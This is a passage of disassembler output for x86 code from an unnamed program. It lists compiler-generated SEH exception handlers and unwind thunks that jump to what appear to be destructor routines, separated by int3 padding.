SEH_412720	proc near		; DATA XREF: sub_412720+2o
		mov	eax, offset dword_43FE48
		jmp	sub_436858
SEH_412720	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439978:				; DATA XREF: ___:0043FEACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4129E0	proc near		; DATA XREF: sub_4129E0+8o
		mov	eax, offset dword_43FE80
		jmp	sub_436858
SEH_4129E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C80	proc near		; DATA XREF: sub_412C80+2o
		mov	eax, offset dword_43FEB8
		jmp	sub_436858
SEH_412C80	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4399B8:				; DATA XREF: ___:0043FF14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4399EE:				; DATA XREF: ___:00412D28o
		mov	eax, offset dword_43FEE8
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439A1B:				; DATA XREF: ___:0043FF74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413190	proc near		; DATA XREF: sub_413190+2o
		mov	eax, offset dword_43FF48
		jmp	sub_436858
SEH_413190	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439A6B:				; DATA XREF: ___:0043FFBCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413290	proc near		; DATA XREF: sub_413290+2o
		mov	eax, offset dword_43FF90
		jmp	sub_436858
SEH_413290	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413350	proc near		; DATA XREF: sub_413350+2o
		mov	eax, offset dword_43FFD8
		jmp	sub_436858
SEH_413350	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413440	proc near		; DATA XREF: sub_413440+2o
		mov	eax, offset dword_440010
		jmp	sub_436858
SEH_413440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413580	proc near		; DATA XREF: sub_413580+2o
		mov	eax, offset dword_440040
		jmp	sub_436858
SEH_413580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439B18:				; DATA XREF: ___:0044009Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4136E0	proc near		; DATA XREF: sub_4136E0+2o
		mov	eax, offset dword_440070
		jmp	sub_436858
SEH_4136E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B38:				; DATA XREF: ___:004400D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413850	proc near		; DATA XREF: sub_413850+2o
		mov	eax, offset dword_4400A8
		jmp	sub_436858
SEH_413850	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B78:				; DATA XREF: ___:00440114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A20	proc near		; DATA XREF: sub_413A20+2o
		mov	eax, offset dword_4400E8
		jmp	sub_436858
SEH_413A20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BA8:				; DATA XREF: ___:00413B52o
		mov	eax, offset dword_440128
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BC8:				; DATA XREF: ___:00440184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BD0:				; DATA XREF: ___:0044018Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439BDB:				; DATA XREF: ___:00440194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413BE0	proc near		; DATA XREF: sub_413BE0+2o
		mov	eax, offset dword_440158
		jmp	sub_436858
SEH_413BE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C08:				; DATA XREF: ___:004401CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E10	proc near		; DATA XREF: sub_413E10+2o
		mov	eax, offset dword_4401A0
		jmp	sub_436858
SEH_413E10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C5B:				; DATA XREF: ___:00440224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414100	proc near		; DATA XREF: sub_414100+2o
		mov	eax, offset dword_4401F8
		jmp	sub_436858
SEH_414100	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C98:				; DATA XREF: ___:00440264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CB0:				; DATA XREF: ___:00414192o
		mov	eax, offset dword_440238
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CD8:				; DATA XREF: ___:004402ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4142A0	proc near		; DATA XREF: sub_4142A0+2o
		mov	eax, offset dword_440280
		jmp	sub_436858
SEH_4142A0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D28:				; DATA XREF: ___:004402FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4143D0	proc near		; DATA XREF: sub_4143D0+2o
		mov	eax, offset dword_4402D0
		jmp	sub_436858
SEH_4143D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D68:				; DATA XREF: ___:00440344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D78:				; DATA XREF: ___:00414472o
		mov	eax, offset dword_440318
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414540	proc near		; DATA XREF: sub_414540+2o
		mov	eax, offset dword_440358
		jmp	sub_436858
SEH_414540	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DB8:				; DATA XREF: ___:004403B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DC0:				; DATA XREF: ___:00414702o
		mov	eax, offset dword_440388
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DD8:				; DATA XREF: ___:004403ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414840	proc near		; DATA XREF: sub_414840+2o
		mov	eax, offset dword_4403C0
		jmp	sub_436858
SEH_414840	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:00440424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414A40	proc near		; DATA XREF: sub_414A40+2o
		mov	eax, offset dword_4403F8
		jmp	sub_436858
SEH_414A40	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E38:				; DATA XREF: ___:00414AD2o
		mov	eax, offset dword_440438
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E58:				; DATA XREF: ___:00414B62o
		mov	eax, offset dword_440468
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E78:				; DATA XREF: ___:004404C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D10	proc near		; DATA XREF: sub_414D10+2o
		mov	eax, offset dword_440498
		jmp	sub_436858
SEH_414D10	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414DB0	proc near		; DATA XREF: sub_414DB0+8o
		mov	eax, offset dword_4404E0
		jmp	sub_436858
SEH_414DB0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_439F18:				; DATA XREF: ___:0044056Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A081:				; DATA XREF: ___:00416A32o
		mov	eax, offset dword_440540
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43A0F8:				; DATA XREF: ___:0044067Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A261:				; DATA XREF: ___:00416DD2o
		mov	eax, offset dword_440650
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417050	proc near		; DATA XREF: sub_417050+2o
		mov	eax, offset dword_440760
		jmp	sub_436858
SEH_417050	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_43A2FB:				; DATA XREF: ___:004407BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170C0	proc near		; DATA XREF: sub_4170C0+2o
		mov	eax, offset dword_440790
		jmp	sub_436858
SEH_4170C0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72B:				; DATA XREF: ___:004409FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


